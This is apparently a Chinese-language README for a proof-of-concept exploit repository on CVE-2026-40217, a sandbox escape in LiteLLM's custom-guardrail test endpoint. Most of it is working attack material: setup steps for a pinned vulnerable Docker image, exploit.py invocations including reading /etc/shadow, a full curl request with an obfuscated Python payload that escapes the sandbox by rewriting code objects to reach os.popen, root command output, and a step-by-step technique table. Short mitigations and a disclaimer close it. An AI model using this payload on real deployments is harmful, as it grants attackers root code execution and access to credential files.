LiteLLM
POST /guardrails/test_custom_code— 沙箱逃逸导致默认 Docker 部署中 root 权限下的远程代码执行 (RCE)。
| 字段 | 值 |
|---|---|
| CVE | CVE-2026-40217 |
| CVSS | 8.8 (高) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-913(对动态管理代码资源控制不当)/ CWE-94 |
| 受影响版本 | LiteLLM ≤ 2026-04-08(低于 v1.83.11) |
| 修复版本 | v1.83.11+(用 RestrictedPython 替换了手工沙箱) |
| 发现者 | Markus Vervier — X41 D-Sec GmbH |
| 发布日期 | 2026-04-08 |
| 链接 | X41 公告 • GHSA-wxxx-gvqv-xp7p • oss-security |
LiteLLM 中的 POST /guardrails/test_custom_code 端点允许经过身份验证的用户提交任意 Python 代码以进行防护测试。该端点试图通过基于正则表达式的源代码过滤来限制危险操作,但这种限制可以被CPython 字节码重写技术完全绕过,从而导致代理进程中的任意代码执行。在默认 Docker 镜像中,代理以 root 身份运行,这加剧了影响。
# 安装 Python 依赖(exploit.py 所需)
pip install -r requirements.txt
⚠️ 重要提示:
docker-compose.yml将存在漏洞的镜像固定到 2026 年 3 月 22 日的特定摘要 (sha256:7c311546...)。请不要将标签改为main-latest或任何更新的版本——后续镜像可能已包含修复(RestrictedPython),即使版本号显示的是较早的版本(例如,v1.83.10-stable在补丁后已重建,且没有漏洞)。
# 1. 安装依赖(如果尚未安装)
pip install -r requirements.txt
# 2. 启动存在漏洞的 LiteLLM 实例
docker compose up -d
# 3. 运行漏洞利用程序
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key"
# 4. 读取敏感文件(更改 --cmd 参数)
python3 exploit/exploit.py --target http://localhost:4000 --key "sk-litellm-master-key" \
--cmd "cat /etc/shadow"
# 或直接使用 curl
curl -s -X POST \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
http://localhost:4000/guardrails/test_custom_code \
-d '{
"custom_code": "def apply_guardrail(inputs, request_data, input_type):\n obj = str.mro()[1]\n def g(fn):\n yield fn.placeholder\n c = g(None).gi_code\n gn = \"_\"+\"_gl\"+\"ob\"+\"als\"+\"_\"+\"_\"\n cn = \"_\"+\"_co\"+\"de_\"+\"_\"\n obj.__setattr__(g, cn, c.replace(co_names=(gn,)))\n for v in g(http_get):\n gd = v\n break\n bn = \"_\"+\"_bu\"+\"ilt\"+\"ins\"+\"_\"+\"_\"\n imp = gd[bn][\"_\"+\"_im\"+\"po\"+\"rt_\"+\"_\"]\n return {\"rce\": imp(\"os\").popen(\"id\").read()}",
"test_input": {"messages": [{"role": "user", "content": "test"}]}
}'
{"success":true,"result":{"rce":"uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\n"},"error":null,"error_type":null}
CVE-2026-40217/
├── README.md # 本文件
├── docker-compose.yml # 一键搭建存在漏洞的环境
├── requirements.txt # 依赖
├── exploit/
│ ├── exploit.py # 完整漏洞利用脚本
│ └── payload.py # 字节码载荷模块
├── docs/
│ └── advisory.md # 翻译后的公告详情
└── screenshots/ # 证明截图
RestrictedPython 代替手工沙箱)/guardrails/test_custom_code 端点docker run --user 1000:1000 ...免责声明: 此内容仅供教育和授权的安全测试使用。
| 步骤 | 技术 | 代码 |
|---|
| 1 | 通过字符串拼接绕过正则 | "_"+"_gl"+"ob"+"als"+"_"+"_" |
| 2 | 通过 str.mro()[1] 获取 object 类 | obj = str.mro()[1] |
| 3 | 通过 gi_code 访问生成器代码对象 | c = g(None).gi_code |
| 4 | 通过 object.__setattr__ 交换函数 __code__ | obj.__setattr__(g, cn, c.replace(co_names=(gn,))) |
| 5 | 从 http_get.__globals__ 提取真正的内置函数 | imp = gd["__builtins__"]["__import__"] |
| 6 | 通过 os.popen 实现 RCE | imp("os").popen("id").read() |